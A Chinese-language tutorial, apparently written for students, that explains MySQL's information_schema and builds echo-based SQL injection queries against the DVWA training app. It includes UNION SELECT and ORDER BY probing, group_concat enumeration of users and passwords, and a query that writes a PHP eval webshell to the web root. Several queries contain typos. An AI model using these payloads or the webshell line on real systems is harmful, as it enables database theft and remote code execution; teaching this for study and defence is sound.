最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema数据库结构。这里面笔者通过在数据库具体的命令执行,让大家理解mysql结构以及常用语句,由此总结出SQL回显注入的基本语句。
一、mysql数据库基础-IFORMATION_SCHEMA数据库结构
在Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有存在数据库名、数据库表、表字段,其中,关键的三个表为:
SCHEMATA:存储数据库名的表
Tables:存储数据库以及数据库中的表名
Columns:存储数据库、表、以及表中的字段。
1.1 SCHEMATA ->存储数据库名的表
关键字段:SCHEMA_NAME ->数据库名称
查询语句:
mysql> select schema_name frominformation_schema.schemata;
从查询结果可以看出,在information_schema.schemata表中,schema_name字段存储了当前数据库的所有数据库名称。
1.2 TABLES ->存储表名
关键字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
关键字段:TABLE_NAME ->存储表的表名
查询语句:
select table_name from information_schema.tables where table_schema='dvwa';
从查询结果看可以看出,在tables表中的table_name字段,存储了dvwa数据库的表名。
1.3 COLUMNS ->存储的字段名表
关键字段:TABLE_SCHEMA ->该字段所属数据库名
关键字段:TABLE_NAME ->存储所属表的名称
关键字段:COLUMN_NAME ->该字段的名称
执行语句:
select table_schema,column_name,table_name from information_schema.columns where table_name=users and table_schema='dvwa';
从查询结果看,在columns表中,存储了数据库对应的表名以及对应的字段内容。
通过以上分析,我们得知information_schema数据库中存储着当前数据库所有的数据库、表名、字段名信息,只要执行相应的SQL语句,即可把数据库的信息爆出。由此我们可以得出一下基本的注入语句:
Select * from information_schema.schemata; //爆出数据库
Select table_name from information_schema.tables where table_schema=’dvwa’; //爆出指定数据库dvwa的所有表名
Select column_name from information_schama.columns where table_name=’users’ and table_schema='dvwa';// 爆出dvwa数据库的表users的所有字段名
select (user,password) from dvwa.users; //爆出数据库users内容
二、mysql常用注入语句及函数(回显注入)
除此之外,在实际注入中还可以通过mysql的内置函数获得更多有效信息,常见有:
2.1 查询服务器主机信息
@@HOSTNAME 主机名称
@@datadir——数据库路径
@@version_compile_os——操作系统版本
MariaDB [dvwa]> select @@hostname,@@datadir, @@version_compile_os;
2.2 查询数据库版本信息
Select VERSION() 数据库版本信息
Select @@VERSION 数据库版本信息
Select @@GLOBAL.VERSION 数据库版本信息
Select database() 数据库名称
MariaDB [dvwa]> select version(),@@version,@@global.version,database();
2.3 查询数据库用户信息
user() 系统用户和登录主机名
current_user() 当前登录用户和登录主机名
system_user() 数据库系统用户账户名称和登录主机名
session_user() 当前会话用户名和登录主机名
MariaDB [dvwa]> select user(),current_user(),system_user(),session_user();
2.4 枚举数据库内容
Select * from information_schema.schemata; //爆出数据库
Select table_name from information_schema.tables where table_schema=’dvwa’; //爆出指定数据库dvwa的所有表名
Select column_name from information_schama.columns where table_name=’users’ and table_schema='dvwa';// 爆出dvwa指定表users的所有字段名
select (user,password) from dvwa.users; //爆出数据库users内容
select '<?php eval($_POST[cmd])?>'intooutfile '/var/www/html/dvwa/1.php'; //导出一句话木马
2.5 联合查询语句
ORDER BY n //判断当前查询结果的列数,配合union实用。ORDER BY n+1; 让n一直增加直到出现错误页面。
Union联合查询 union select …
MariaDB [dvwa]> select * from dvwa.guestbook order by 3;
MariaDB [dvwa]> select * from dvwa.guestbook where name= 'test' union select 1,2,3;
MariaDB [dvwa]> select * from dvwa.guestbook where name= 'test' and 1=2 union select 1,2,3; //当页面只能显示一行结果是,需要加 and 1=2,让前面的语句执行无结果。
2.6 concat,concat_ws,group_concat函数
在实际注入中,巧妙借助concat,concat_ws,group_concat函数,可以在有效的显示空间上,将更多注入结果联合起来,显示在页面中。
Conacat()和concat_ws()
concat(str1,str2...)——没有分隔符串联多列结果。
concat_ws(separator,str1,str2,...)——含有分隔符地串联多列结果
应用场景:查询结果只有一行,一列或多列数据。
Concat()和concat_ws()函数的对比,上述两个函数功能而非常类似,只是在分隔符上的区别,两者均可以将一行多列的数据连接为一列,区别concat()连接没有连接符号。Concat_ws()可以定义连接符,用分隔符将结果连接起来。如下图所示:
注://0x3a是“:”的十六进制,在这里把它作为分隔符:的 hex 值
group_concat(str1,str2,...)
group_concat(str1,str2,...)——用逗号,串联多行结果为一行,每行结果用逗号串联。
应用场景:查询结果有一行或多行,一列或多列数据。
group_concat()可以将多行多列查询结果,显示在一行一列,并且多行结果之间用逗号”,”分隔。与concat_ws()区别可以在下图中显示出来
注://0x3a是“:”的十六进制,在这里把它作为分隔符:的 hex 值
concat,concat_ws,group_concat函数在实际注入场景中,应用于回显注入类型。可以根据回显的数据位置或回显数据列数,根据实际情况选择相应的函数。从功能上看,group_concat函数包含了concat和concat_ws的功能。
以上是关于mysql注入的重要基础,需要初学者反复练习,在实际注入环境中,才能发挥游刃有余。